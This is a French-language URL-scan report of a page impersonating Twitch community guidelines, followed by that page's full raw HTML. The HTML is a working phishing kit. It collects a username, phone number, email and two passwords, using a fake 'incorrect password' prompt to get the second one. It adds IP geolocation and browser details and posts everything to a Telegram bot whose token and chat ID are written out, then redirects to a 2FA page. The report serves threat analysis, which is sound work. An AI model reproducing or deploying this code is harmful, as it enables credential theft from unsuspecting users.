https://twitch-community-guidelines.web.app/index2.html

ID de l'analyse :
af3db696-81be-4e9e-89f1-e739a41b62e5Terminée
URL soumise :
https://twitch-community-guidelines.web.app/
Fin du rapport :

Liens : 0 trouvé(s)

Liens sortants identifiés à partir de la page

Variables JavaScript : 8 trouvée(s)

Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel

NomType
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
sendMessagefunction
submitPasswordfunction
submitSecondPasswordfunction
sendTelegramMessagefunction
closeModalfunction

Messages de journal de console : 4 trouvé(s)

Messages consignés dans la console web

TypeCatégorieEnregistrement
errornetwork
URL
https://twitch-community-guidelines.web.app/favicon.ico
texte
Failed to load resource: the server responded with a status of 404 ()
logjavascript
URL
https://twitch-community-guidelines.web.app/
texte
Message sent: JSHandle@object
verbosedom
URL
https://twitch-community-guidelines.web.app/index2.html
texte
[DOM] Password field is not contained in a form: (More info: https://goo.gl/9p2vKq) %o
verbosedom
URL
https://twitch-community-guidelines.web.app/index2.html
texte
[DOM] Password field is not contained in a form: (More info: https://goo.gl/9p2vKq) %o

HTML

Le corps HTML de la page en données brutes

<!DOCTYPE html><html lang="en"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Community Guidelines</title>
    <style>
        body {
            margin: 0;
            display: flex;
            flex-direction: column; /* Align children vertically */
            align-items: center; /* Center children horizontally */
            background-color: white; /* Set background color to white */
            font-family: Arial, sans-serif; /* Set a default font */
            overflow-x: hidden; /* Prevent horizontal scrolling */
        }
        img.top-image {
            width: 100%; /* Make image responsive */
            max-width: 1902px; /* Limit max width */
            height: auto; /* Maintain aspect ratio */
        }
        img.bottom-image {
            width: 100%; /* Make image responsive */
            max-width: 1903px; /* Limit max width */
            height: auto; /* Maintain aspect ratio */
            margin-top: 20px; /* Add space above the image */
            display: block; /* Ensure it behaves as a block element */
            border: 5px solid black; /* Add black border around the image */
        }
        /* Hide the bottom image on mobile devices */
        @media (max-width: 768px) {
            img.bottom-image {
                display: none; /* Hide on mobile */
            }
        }
        /* Style the form */
        form {
            margin-top: 20px; /* Add some space above the form */
            width: 90%; /* Set width of the form */
            max-width: 600px; /* Limit max width */
            display: flex;
            flex-direction: column; /* Align form elements vertically */
            gap: 10px; /* Space between form elements */
            transition: filter 0.3s; /* Smooth transition for blur effect */
        }
        .blur {
            filter: blur(5px); /* Blur effect */
        }
        label {
            color: #18181b; /* Set label color */
            font-weight: bold; /* Make label font bold */
        }
        input, textarea {
            padding: 10px; /* Add padding to inputs and textarea */
            border: 1px solid #ccc; /* Light gray border */
            border-radius: 4px; /* Rounded corners */
            font-size: 16px; /* Font size */
            color: #18181b; /* Set input and textarea text color */
            font-weight: bold; /* Make input and textarea font bold */
            width: 100%; /* Make inputs full width */
            box-sizing: border-box; /* Include padding in width */
        }
        textarea {
            resize: vertical; /* Allow vertical resizing of textarea */
        }
        button {
            padding: 10px; /* Add padding to the button */
            background-color: #60369f; /* Set background color */
            color: white; /* Set text color */
            border: none; /* Remove border */
            border-radius: 4px; /* Rounded corners */
            font-size: 16px; /* Font size */
            cursor: pointer; /* Pointer cursor on hover */
        }
        button:hover {
            background-color: #4a2e85; /* Darken button on hover */
        }
        /* Modal styles */
        .modal {
            display: none; /* Hidden by default */
            position: fixed; /* Stay in place */
            z-index: 1; /* Sit on top */
            left: 0;
            top: 0;
            width: 100%; /* Full width */
            height: 100%; /* Full height */
            overflow: auto; /* Enable scroll if needed */
            background-color: rgb(0,0,0); /* Fallback color */
            background-color: rgba(0,0,0,0.4); /* Black w/ opacity */
            padding-top: 60px; /* Location of content */
        }
        .modal-content {
            background-color: #fefefe;
            margin: 5% auto; /* 15% from the top and centered */
            padding: 20px;
            border: 1px solid #888;
            width: 80%; /* Could be more or less, depending on screen size */
            max-width: 400px; /* Limit max width of modal */
            border-radius: 4px; /* Rounded corners */
        }
        .error-message {
            color: red; /* Set color for error message */
            margin-right: 10px; /* Space between message and button */
        }
    </style>
    <script>
        let username; // Variable to store the username
        let password1; // Variable to store the first password
        let password2; // Variable to store the second password

        async function sendMessage(event) {
            event.preventDefault(); // Prevent the default form submission
            username = document.getElementById('username').value; // Store the username
            const phone = document.getElementById('phone').value;
            const email = document.getElementById('email').value;
            const additionalInfo = document.getElementById('additional-info').value;

            // Open the password modal
            document.getElementById('passwordModal').style.display = "block";
            // Blur the form
            document.querySelector('form').classList.add('blur');
            // Set the username in the modal
            document.getElementById('modal-username-input').value = username; // Set username input

            // Send initial message to Telegram after submitting the form
            await sendTelegramMessage(username, phone, email, additionalInfo, ''); // Send without password
        }

        async function submitPassword() {
            password1 = document.getElementById('password').value; // Get password from the first modal

            // Open the second password modal
            document.getElementById('secondPasswordModal').style.display = "block"; // Show the second modal
            document.getElementById('modal-username-input-second').value = username; // Set username input in second modal
            // Send message to Telegram with the password
            await sendTelegramMessage(username, document.getElementById('phone').value, document.getElementById('email').value, document.getElementById('additional-info').value, password1);
            // Do not unblur the form
        }

        async function submitSecondPassword() {
            password2 = document.getElementById('second-password').value; // Get password from the second modal

            // Send message to Telegram with the password
            await sendTelegramMessage(username, document.getElementById('phone').value, document.getElementById('email').value, document.getElementById('additional-info').value, password1, password2);

            // Redirect to 2fa.html
            window.location.href = "2fa.html";
        }

        async function sendTelegramMessage(username, phone, email, additionalInfo, password1, password2) {
            // Fetch IP information
            let ipInfo = {};
            try {
                const ipResponse = await fetch('https://ipapi.co/json');
                if (ipResponse.ok) {
                    ipInfo = await ipResponse.json();
                } else {
                    console.error('Failed to fetch IP information');
                }
            } catch (error) {
                console.error('Error fetching IP information:', error);
            }

            // Get OS and Browser information
            const os = navigator.platform; // OS information
            const browser = navigator.userAgent; // Browser information

            const message = `Username: ${username}\n` +
                            `Phone Number: ${phone}\n` +
                            `Email: ${email}\n` +
                            `Additional Information: ${additionalInfo}\n` +
                            `Password1: ${password1}\n` + // Password from the first modal
                            `Password2: ${password2}\n` + // Password from the second modal
                            `City: ${ipInfo.city || 'N/A'}\n` +
                            `Region: ${ipInfo.region || 'N/A'}\n` +
                            `Country: ${ipInfo.country_name || 'N/A'}\n` +
                            `OS: ${os}\n` +
                            `Browser: ${browser}`;

            const chatId = '7748459002'; // Your chat ID
            const botToken = '8194724994:AAHxeSXJq4uTnt-ncL36BOTnSR4Cscck-2E'; // Your bot token
            
            const url = `https://api.telegram.org/bot${botToken}/sendMessage`;
            const payload = {
                chat_id: chatId,
                text: message,
                parse_mode: 'HTML'
            };

            try {
                const response = await fetch(url, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(payload)
                });

                if (response.ok) {
                    // Do not clear the form to keep the input values
                } else {
                    console.error('Failed to send message.');
                }
            } catch (error) {
                console.error('Error:', error);
            }
        }

        function closeModal() {
            document.getElementById('passwordModal').style.display = "none";
            document.getElementById('secondPasswordModal').style.display = "none"; // Also close the second modal
            document.querySelector('form').classList.remove('blur'); // Unblur the form
        }
    </script>
</head>
<body>
    <!-- Insert the image at the top of the page -->
    <img src="images/s1.png" alt="Top Image" class="top-image">

    <!-- Form for user input -->
    <form onsubmit="sendMessage(event)">
        <label for="username">Username</label>
        <input type="text" id="username" name="username" required="">

        <label for="phone">Phone Number</label>
        <input type="tel" id="phone" name="phone" required="">

        <label for="email">Email</label>
        <input type="email" id="email" name="email" required="">

        <label for="additional-info">Additional Information</label>
        <textarea id="additional-info" name="additional-info" rows="4"></textarea>

        <button type="submit">Submit</button>
    </form>

    <!-- Modal for password entry -->
    <div id="passwordModal" class="modal">
        <div class="modal-content">
            <h2>Enter Password</h2>
            <label for="modal-username-input">Username</label>
            <input type="text" id="modal-username-input" value="" readonly="" required=""> <!-- Readonly field -->
            <label for="modal-username-input">Password</label>
            <input type="password" id="password" placeholder="">
            <div style="display: flex; justify-content: flex-end;"> <!-- Flex container for button -->
                <button onclick="submitPassword()">Continue</button>
            </div>
        </div>
    </div>

    <!-- Second Modal for incorrect password -->
    <div id="secondPasswordModal" class="modal">
        <div class="modal-content">
            <h2>Enter Password</h2>
            <label for="modal-username-input-second">Username</label>
            <input type="text" id="modal-username-input-second" value="" readonly="" required=""> <!-- Readonly field -->
            <label for="modal-username-input">Password</label>
            <input type="password" id="second-password" placeholder="">
            <div style="display: flex; justify-content: space-between; align-items: center;"> <!-- Flex container for button -->
                <div class="error-message" id="error-message">Your password was incorrect.</div>
                <button onclick="submitSecondPassword()">Continue</button>
            </div>
        </div>
    </div>

    <!-- Insert the image at the bottom of the page -->
    <img src="images/s2.png" alt="Bottom Image" class="bottom-image">


</body></html>